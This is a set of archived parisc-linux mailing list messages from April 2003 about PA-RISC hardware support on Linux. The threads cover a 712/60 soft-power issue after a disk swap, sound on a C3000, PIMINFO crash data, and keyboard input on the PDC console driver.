Subject: [parisc-linux] soft power and power light on 712/60
Date: Tue, 01 Apr 2003 08:59:43 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <se89551b.093@internal.us.fortis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622349 24021 80.91.229.3 (22 Nov 2014 02:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:29 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 08:00:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from u1snd02p.us.fortis.com (smtp02p.us.fortis.com [167.79.54.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1972B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 08:00:15 -0700 (MST)
Original-Received: from W1PMM02.us.fortis.com (twbymime02.us.fortis.com [165.245.9.58])
	by u1snd02p.us.fortis.com (8.11.6+Sun/8.11.6) with ESMTP id h31F0C825468
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 Apr 2003 09:00:12 -0600 (CST)
Original-Received: from internal.us.fortis.com (Not Verified[165.245.4.198]) by W1PMM02.us.fortis.com with MailMarshal (v5,0,3,71)
	id <BB0036285b>; Tue, 01 Apr 2003 09:00:11 -0600
Original-Received: from FITGATE1-Message_Server by internal.us.fortis.com
	with Novell_GroupWise; Tue, 01 Apr 2003 09:00:11 -0600
X-Mailer: Novell GroupWise Internet Agent 5.5.6.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18136

Hello,

I have sort of a weird problem.  I installed Debian 3.0 on Sunday and it =
came up great on my 712/60.  The only problem is the soft-power switch do=
esn't work and the power light flashes while searching for the boot devic=
e and then goes off once it starts booting. =20

Output of uname -a:
Linux gecko 2.4.20-32 #1 Sat Mar 22 14:03:22 CET 2003 parisc unknown
and /proc/sys/kernel/soft-power =3D 1

The only thing unusual about the setup is that I replaced the old 500mb H=
P hard drive with a 4.5gig IBM drive with a 68pin-50pin converter.

Is the drive and converter causing the problem, or is there something I c=
an do software wise to fix this?

Thanks,
Derek Ellis

****************************************************************
=09		Please Note
The information in this E-mail message is legally privileged
and confidential information intended only for the use of the
individual(s) named above. If you, the reader of this message,
are not the intended recipient, you are hereby notified that=20
you should not further disseminate, distribute, or forward this
E-mail message. If you have received this E-mail in error,
please notify the sender. Thank you
*****************************************************************


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] soft power and power light on 712/60
Date: Tue, 1 Apr 2003 19:06:26 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3E8464F3000011FA@ocpmta8.freegates.net>
References: <se89551b.093@internal.us.fortis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622349 24025 80.91.229.3 (22 Nov 2014 02:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:29 +0000 (UTC)
To: "Derek Ellis" <Derek.Ellis@us.fortis.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 10:06:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA8B64829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 10:06:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 190PDP-0003z3-00; Tue, 01 Apr 2003 19:06:27 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 1 Apr 2003 19:06:26 +0200
In-Reply-To: <se89551b.093@internal.us.fortis.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18137

>
>The only thing unusual about the setup is that I replaced the old 500mb
HP
>hard drive with a 4.5gig IBM drive with a 68pin-50pin converter.
>
Hmm it is highly probable.

Four years ago, for a project of upgrade 712 workstation, we asked to HP
if it was possible to put internal (SE) 4Gb disk. HP said that it was only
supported on 712/100.

Later, I had the opportunity to test Linux on a old 4Gb (SE) external disk
with an old 712/60. (Even thought it was the very begining, it still works
fine and help me a lot). Then I remember that 'not supported' didn' t means
that it would not works. So I removed this disk from its enclosure and put
it into the workstation. Well it works but not for a long time: apparently
it warmed too much  but fortunately not too long time (so I can put it back
in its original enclosure and continu to work). So there are an actual problem
of heat exchange in this small box?

>Is the drive and converter causing the problem, or is there something I
can
>do software wise to fix this?
>
For above mentioned project, we also use external SE 4Gb disk with wide (68
pins) connector without pb. Is your 4.5Gb IBM disk is well of SE type?

hth,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PIMINFO
Date: Tue, 1 Apr 2003 19:37:35 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3E8464F300001231@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622349 24028 80.91.229.3 (22 Nov 2014 02:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 10:58:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1804D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 10:58:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 190Q1q-0002uc-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 01 Apr 2003 19:58:34 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 1 Apr 2003 19:37:35 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18138

Hi all,

After the test of 2.4.20-pa28 smp 64 bits, I got a piminfo after the system
failed to boot.

Right now, thanks to dump_analyse.sh, I can just take advantage of the 'IIA
Offset' (eg IAOQ) info.

Is there somewhere some public doc to take advantage of the other info as
'Chassis code' ...?

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Derek Ellis" <Derek.Ellis@us.fortis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] soft power and power light on 712/60
Date: Tue, 01 Apr 2003 12:34:31 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <se898769.020@internal.us.fortis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622350 24030 80.91.229.3 (22 Nov 2014 02:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 11:37:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from u1snd02p.us.fortis.com (smtp02p.us.fortis.com [167.79.54.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4873F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 11:37:13 -0700 (MST)
Original-Received: from W1PMM02.us.fortis.com (W1PMM02.us.fortis.com [165.245.9.58])
	by u1snd02p.us.fortis.com (8.11.6+Sun/8.11.6) with ESMTP id h31Iav815401
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 Apr 2003 12:37:11 -0600 (CST)
Original-Received: from internal.us.fortis.com (Not Verified[165.245.4.198]) by W1PMM02.us.fortis.com with MailMarshal (v5,0,3,71)
	id <BB003653b0>; Tue, 01 Apr 2003 12:34:49 -0600
Original-Received: from FITGATE1-Message_Server by internal.us.fortis.com
	with Novell_GroupWise; Tue, 01 Apr 2003 12:34:49 -0600
X-Mailer: Novell GroupWise Internet Agent 5.5.6.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18139

I have had no heat problems.  The IBM drive is a 68-pin SE drive from '98=
.  It runs very cool and never gets too hot to touch.  I  put it internal=
ly since that was easier than finding an unused external enclosure.

Did the soft power & light work with the external enclosure?

Thanks,
Derek

>>> "Joel Soete" <jsoe0708@tiscali.be> 04/01/03 11:06AM >>>
>
>The only thing unusual about the setup is that I replaced the old 500mb
HP
>hard drive with a 4.5gig IBM drive with a 68pin-50pin converter.
>
Hmm it is highly probable.

Four years ago, for a project of upgrade 712 workstation, we asked to HP
if it was possible to put internal (SE) 4Gb disk. HP said that it was onl=
y
supported on 712/100.

Later, I had the opportunity to test Linux on a old 4Gb (SE) external dis=
k
with an old 712/60. (Even thought it was the very begining, it still work=
s
fine and help me a lot). Then I remember that 'not supported' didn' t mea=
ns
that it would not works. So I removed this disk from its enclosure and pu=
t
it into the workstation. Well it works but not for a long time: apparentl=
y
it warmed too much  but fortunately not too long time (so I can put it ba=
ck
in its original enclosure and continu to work). So there are an actual pr=
oblem
of heat exchange in this small box?

>Is the drive and converter causing the problem, or is there something I
can
>do software wise to fix this?
>
For above mentioned project, we also use external SE 4Gb disk with wide (=
68
pins) connector without pb. Is your 4.5Gb IBM disk is well of SE type?

hth,
=20   Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu'=E0 25% avec Tiscali Complete !
Offre sp=E9ciale : premi=E8re ann=E9e d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be=20



****************************************************************
=09		Please Note
The information in this E-mail message is legally privileged
and confidential information intended only for the use of the
individual(s) named above. If you, the reader of this message,
are not the intended recipient, you are hereby notified that=20
you should not further disseminate, distribute, or forward this
E-mail message. If you have received this E-mail in error,
please notify the sender. Thank you
*****************************************************************


From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FUHRMAN,SCOTT (HP-Boise,ex1)" <scott.fuhrman@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sound on C3000
Date: Tue, 1 Apr 2003 13:42:40 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622350 24035 80.91.229.3 (22 Nov 2014 02:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:30 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 11:42:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 857334829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 11:42:47 -0700 (MST)
Original-Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191])
	by atlrel8.hp.com (Postfix) with ESMTP id 161761C01C78
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 13:42:47 -0500 (EST)
Original-Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188])
	by xatlrelay2.atl.hp.com (Postfix) with ESMTP id 077E21C000A0
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 13:42:47 -0500 (EST)
Original-Received: by xatlbh3.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <HZJFNLBV>; Tue, 1 Apr 2003 13:42:46 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18140

Hi,

Just wondering if anyone else has gotten sound to work on this box, and
if so, how.

I ham enjoying a C3000 (400MHz) machine running hppa Debian, with kernel
2.4.20-32.
Everything is working except the sound.  Sound server can start up, but
does not have a device to output to.  

I checked dmesg and /var/log/messages and did not see anything where the
sound device is being configured, but it looks as though it may be
suported from the info on parisc-linux.org.  The device is a 

AD1889 sound chip (Analog Devices) according to this page:

 http://hwdb.parisc-linux.org/view.php3?type=machine&name=C3000

Anyway, if anyone has had any success in this matter please do tell!


Thanks,




From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC console problem.
Date: Tue, 01 Apr 2003 21:16:55 +0200
Organization: private
Lines: 63
Approved: news@gmane.org
Message-ID: <3E89E5A7.9030204@gmx.at>
References: <3E89DBF4.102AC68A@india.hp.com> <1049181423.24319.17.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622350 24038 80.91.229.3 (22 Nov 2014 02:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:30 +0000 (UTC)
Cc: knaresh@india.hp.com, parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 12:17:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76C694829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 12:16:59 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030401191656.KLFL15459.viefep12-int.chello.at@gmx.at>;
          Tue, 1 Apr 2003 21:16:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18141

Hello !

The PDC driver supports both directions, IN and OUT. The PDC console 
driver was ported from the full serial driver interface, some services
not needed for poor console support are dummy routines.

So the serial console cannot be used for MODEM and other full-blown
serial devices, but is a fully functional console device including
all UNIX like features (login is working like on all other serial
devices).

He Ryan, by the way:
Why is my driver (PDC console) NOT in the mainstream kernel 2.5 ?
Even your driver covers a couple of machines, I do not see in the
MUX driver the replacement !
I agree, that the MUX driver should be used on machines with that
MUX interface. But the idea of my PDC driver was to support a fallback
driver using the ROM console usable on all machines, independent of
special setups.

I many architectures such a fallback driver is present. I remeber the
case, there was an failure in the HW-detection on my SUN Sparc-2, and
the kernel used a ROM console driver instead of the frame buffer driver
for screen/keyboard. This driver was awfully slow, and I do not
recommand it, but such a fallback driver should part of a kernel
delivery !!

So we should think about adding this driver also, independent of
al the other drivers included for console (and although the other
drivers should alwaysb be preferred).

Christoph



Ryan Bradetich wrote:
>>I was going through some of the FAQ and the mailing list archive and
>>understand that the PDC console is not a full blown console and can only
>>display output. Is is true that the PDC console cannot accept keyboard
>>input? Or am I missing something?
> 
> 
> Hmm.. The pdc_console has both read and write capabilities.  We used the
> PDC console for K/E class systems before the SerialMux driver was
> written.  I am not familiar with the PDC simulator, but I would be
> willing to test the pdc console again on K-Class.
> 
> Which kernel are you using?
> 
> Thanks,
> 
> - Ryan
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC console problem.
Date: Tue, 01 Apr 2003 21:27:32 +0200
Organization: private
Lines: 87
Approved: news@gmane.org
Message-ID: <3E89E824.8020404@gmx.at>
References: <3E89DBF4.102AC68A@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622350 24040 80.91.229.3 (22 Nov 2014 02:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: knaresh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 12:27:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 455864829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 12:27:35 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030401192733.NSEV5900.viefep16-int.chello.at@gmx.at>;
          Tue, 1 Apr 2003 21:27:33 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18142

Hello again!

There are two drivers, but they depend.

Int arch/parisc/kernel driver implements the kernel "printk()" (the
internal kernel console). This driver has NO device name, as it
cannot be access as /dev/ttyB0. BUT: This driver is register under
the name "ttyB0" to be selected as preferred device on the kernel
paramter line with "console=ttyB0".

The drivers/char driver is the full PDC serial console driver as a
TTY driver (like all the other serial drivers). This driver is
registers as MAJOR 11, MINOR 0 driver in the TTY interface and
supports fully TTY functionality (althogh some routines are dummy,
e.g. you cannot change the BAUD RATE, etc...).
The low lever routione (printing out a character, polling the keyboard)
are implemented in the first mentioned driver..

The third driver play a role is the "/dev/console" tty driver, which
assosiates the two drivers above as console driver. So the kernel
paramter line also assigns the "/dev/ttyB0" as the driver behind the
"/dev/console". And this driver is running bidirectional.

So commig to your simulator. I do not know this, but perhaps you
have simple a problem with the timing here. My PDC console drive
is in opposite to other typical TTY drivers running in POLLING
mode. The PDC interface does not support a interrupt-like handling.
So the PDC driver polls all 30ms (as far as I remember) if a key
was pressed on the PDC console. My be, the time progress has
other properties on the simulator ....

Christoph



Naresh wrote:
> Hi,
> 
> I am trying to boot PA-Linux off a PA-RISC simulator. I am facing a
> problem with the PDC console. On my first attempt, I saw the message
> asking me to switch the console. So I  turned the PDC console config
> option on ( the serial mux option was turned off). I added the parameter
> 'console=ttyB0' in 'palo.conf'. I created the device file '/dev/ttyB0'
> with major/minor = 11/0 on my ramdisk. With this, the kernel boots up on
> the simulator all the way upto the sash ( Stand-alone shell) prompt. I
> can even see the prompt. But, the problem is that this console doesnt
> seem to be accepting input from the keyboard. It is kind of like in a
> locked state.
> 
> I was going through some of the FAQ and the mailing list archive and
> understand that the PDC console is not a full blown console and can only
> display output. Is is true that the PDC console cannot accept keyboard
> input? Or am I missing something?
> 
> I also see that there are 2 versions of the PDC console driver :
> 'arch/parisc/kernel/pdc_cons.c' and 'drivers/char/pdc_console.c'. Both
> use the device ttyB. From what I understand, the former is used before
> any of the serial drivers are initialized during boot, and has only
> write capability. The latter is the full-blown console driver (though I
> am not sure if it has write capability). Is my understanding correct?
> 
> I am using the source tarball 'palo-latest.tar.gz' from the parisc-linux
> cvs respository and cross-compiling this on an x86 box.
> 
> Regards,
> Naresh.
> 
> PS: My "init" process is 'sash' and I also have a '/dev/console' device
> ( major=5 minor=1) on my ramdisk. The Serial driver config option is on
> and I can see it being initialized in the boot path after the PDC
> console.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:27:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound on C3000
Date: Tue, 1 Apr 2003 11:45:49 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20030401194548.GD23456@tausq.org>
References: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622351 24046 80.91.229.3 (22 Nov 2014 02:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:31 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "FUHRMAN,SCOTT (HP-Boise,ex1)" <scott.fuhrman@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 12:50:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C881C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 12:50:20 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0CE65CD8E3; Tue,  1 Apr 2003 11:45:49 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <25C4C6009B5BD5118FF30003470BF7F503501C63@xboi04.boi.hp.com>
